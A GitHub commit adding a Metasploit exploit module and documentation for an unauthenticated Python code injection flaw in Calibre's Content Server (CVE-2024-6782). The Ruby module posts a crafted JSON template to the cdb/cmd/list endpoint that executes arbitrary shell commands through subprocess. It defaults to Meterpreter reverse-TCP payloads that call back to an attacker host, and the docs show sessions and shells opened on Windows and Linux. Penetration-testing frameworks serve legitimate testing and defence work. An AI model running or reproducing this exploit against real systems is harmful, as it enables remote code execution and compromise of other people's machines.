Skip to content

Commit baca872

Browse files
committed
Land rapid7#19357, Calibre Python Code Injection (CVE-2024-6782)
Merge branch 'land-19357' into upstream-master
2 parents f3214d6 + 1390251 commit baca872

File tree

2 files changed

+253
-0
lines changed

2 files changed

+253
-0
lines changed
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a vulnerability in Calibre <= v6.9.0 - v7.15.0 (CVE-2024-6782).
6+
7+
An unauthenticated remote attacker can exploit this vulnerability to gain arbitrary code execution in the context of which Calibre is being
8+
executed.
9+
10+
All versions between v6.9.0 - v7.15.0 are affected. STAR Labs published [an advisory](https://starlabs.sg/advisories/24/24-6782/) that
11+
includes the root cause analysis and a proof-of-concept.
12+
13+
**Vulnerable Application Installation**
14+
15+
Calibre can be downloaded from [here](https://download.calibre-ebook.com/).
16+
17+
**Successfully tested on**
18+
19+
Windows:
20+
- Calibre v7.15 on Windows 10 22H2
21+
- Calibre v7.14 on Windows 10 22H2
22+
- Calibre v7.0 on Windows 10 22H2
23+
- Calibre v6.29 on Windows 10 22H2
24+
- Calibre v6.9 on Windows 10 22H2
25+
26+
Linux:
27+
- Calibre v7.15 on Ubuntu 24.04 LTS
28+
- Calibre v7.14 on Ubuntu 24.04 LTS
29+
- Calibre v7.0 on Ubuntu 24.04 LTS
30+
- Calibre v6.29 on Ubuntu 24.04 LTS
31+
- Calibre v6.9 on Ubuntu 24.04 LTS
32+
33+
## Verification Steps
34+
35+
1. Install Calibre
36+
2. Start Calibre and click Connect/share > Start Content server
37+
3. Start `msfconsole` and run the following commands:
38+
39+
```
40+
msf6 > use exploit/multi/misc/calibre_exec
41+
[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp
42+
msf6 exploit(multi/misc/calibre_exec) > set RHOSTS <IP>
43+
msf6 exploit(multi/misc/calibre_exec) > set LHOST <IP>
44+
msf6 exploit(multi/misc/calibre_exec) > exploit
45+
```
46+
47+
You should get a meterpreter session running in the same context as the Calibre application.
48+
49+
## Scenarios
50+
51+
**Windows**
52+
53+
Running the exploit against Calibre v7.14 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the
54+
following:
55+
56+
```
57+
msf6 exploit(multi/misc/calibre_exec) > exploit
58+
59+
[*] Started reverse TCP handler on 192.168.137.190:4444
60+
[*] Running automatic check ("set AutoCheck false" to disable)
61+
[+] The target appears to be vulnerable.
62+
[*] Sending payload...
63+
[*] Sending stage (201798 bytes) to 192.168.137.194
64+
[*] Meterpreter session 1 opened (192.168.137.190:4444 -> 192.168.137.194:50346) at 2024-08-01 23:28:16 -0400
65+
[*] Exploit finished, check thy shell.
66+
67+
meterpreter > sysinfo
68+
Computer : DESKTOP-foo
69+
OS : Windows 10 (10.0 Build 19045).
70+
Architecture : x64
71+
System Language : en_US
72+
Domain : WORKGROUP
73+
Logged On Users : 2
74+
Meterpreter : x64/windows
75+
76+
meterpreter > shell
77+
Process 6084 created.
78+
Channel 1 created.
79+
Microsoft Windows [Version 10.0.19045.4529]
80+
(c) Microsoft Corporation. All rights reserved.
81+
82+
C:\Program Files\Calibre2>whoami
83+
whoami
84+
desktop-foo\admin
85+
```
86+
87+
**Linux**
88+
89+
Running the exploit against Calibre v7.14 on Ubuntu 24.04 LTS, using cmd/unix/python/meterpreter/reverse_tcp as a payload, should result in
90+
an output similar to the following:
91+
92+
```
93+
msf6 exploit(multi/misc/calibre_exec) > exploit
94+
95+
[ *] Started reverse TCP handler on 192.168.137.190:4444
96+
[*] Running automatic check ("set AutoCheck false" to disable)
97+
[+] The target appears to be vulnerable.
98+
[*] Sending payload...
99+
[*] Sending stage (24772 bytes) to 192.168.137.195
100+
[*] Meterpreter session 2 opened (192.168.137.190:4444 -> 192.168.137.195:52376) at 2024-08-01 23:40:16 -0400
101+
102+
meterpreter > sysinfo
103+
Computer : asdfvm
104+
OS : Linux 6.8.0-39-generic #39-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 21:49:14 UTC 2024
105+
Architecture : x64
106+
System Language : en_US
107+
Meterpreter : python/linux
108+
```
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
11+
'Description' => %q{
12+
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
13+
},
14+
'License' => MSF_LICENSE,
15+
'Author' => [
16+
'Amos Ng', # Discovery & PoC
17+
'Michael Heinzl', # MSF exploit
18+
],
19+
'References' => [
20+
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
21+
[ 'CVE', '2024-6782']
22+
],
23+
'DisclosureDate' => '2024-07-31',
24+
'Platform' => ['win', 'linux', 'unix'],
25+
'Arch' => [ ARCH_CMD ],
26+
27+
'Payload' => {
28+
'BadChars' => '\\'
29+
},
30+
31+
'Targets' => [
32+
[
33+
'Windows_Fetch',
34+
{
35+
'Arch' => [ ARCH_CMD ],
36+
'Platform' => 'win',
37+
'DefaultOptions' => {
38+
'FETCH_COMMAND' => 'CURL',
39+
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
40+
},
41+
'Type' => :win_fetch
42+
}
43+
],
44+
[
45+
'Linux Command',
46+
{
47+
'Platform' => [ 'unix', 'linux' ],
48+
'Arch' => ARCH_CMD,
49+
'Type' => :nix_cmd,
50+
'DefaultOptions' => {
51+
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
52+
}
53+
}
54+
],
55+
56+
],
57+
'DefaultTarget' => 0,
58+
59+
'Notes' => {
60+
'Stability' => [CRASH_SAFE],
61+
'Reliability' => [REPEATABLE_SESSION],
62+
'SideEffects' => [IOC_IN_LOGS]
63+
}
64+
)
65+
)
66+
67+
register_options(
68+
[
69+
Opt::RPORT(8080)
70+
]
71+
)
72+
end
73+
74+
def check
75+
begin
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path)
79+
})
80+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
81+
return CheckCode::Unknown
82+
end
83+
84+
if res && res.code == 200
85+
data = res.body.to_s
86+
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/
87+
88+
version = data.match(pattern)
89+
90+
if version[1].nil?
91+
return CheckCode::Unknown
92+
else
93+
vprint_status('Version retrieved: ' + version[1].to_s)
94+
end
95+
96+
if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
97+
return CheckCode::Appears
98+
else
99+
return CheckCode::Safe
100+
end
101+
else
102+
return CheckCode::Unknown
103+
end
104+
end
105+
106+
def exploit
107+
execute_command(payload.encoded)
108+
end
109+
110+
def execute_command(cmd)
111+
print_status('Sending payload...')
112+
exec_calibre(cmd)
113+
print_status('Exploit finished, check thy shell.')
114+
end
115+
116+
def exec_calibre(cmd)
117+
payload = '['\
118+
'["template"], '\
119+
'"", '\
120+
'"", '\
121+
'"", '\
122+
'1,'\
123+
'"python:def evaluate(a, b):\\n '\
124+
'import subprocess\\n '\
125+
'try:\\n '\
126+
"return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
127+
'except Exception:\\n '\
128+
"return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
129+
']'
130+
131+
res = send_request_cgi({
132+
'method' => 'POST',
133+
'ctype' => 'application/json',
134+
'data' => payload,
135+
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
136+
})
137+
138+
if res && res.code == 200
139+
print_good('Command successfully executed, check your shell.')
140+
elsif res && res.code == 400
141+
fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
142+
end
143+
end
144+
145+
end

0 commit comments

Comments
 (0)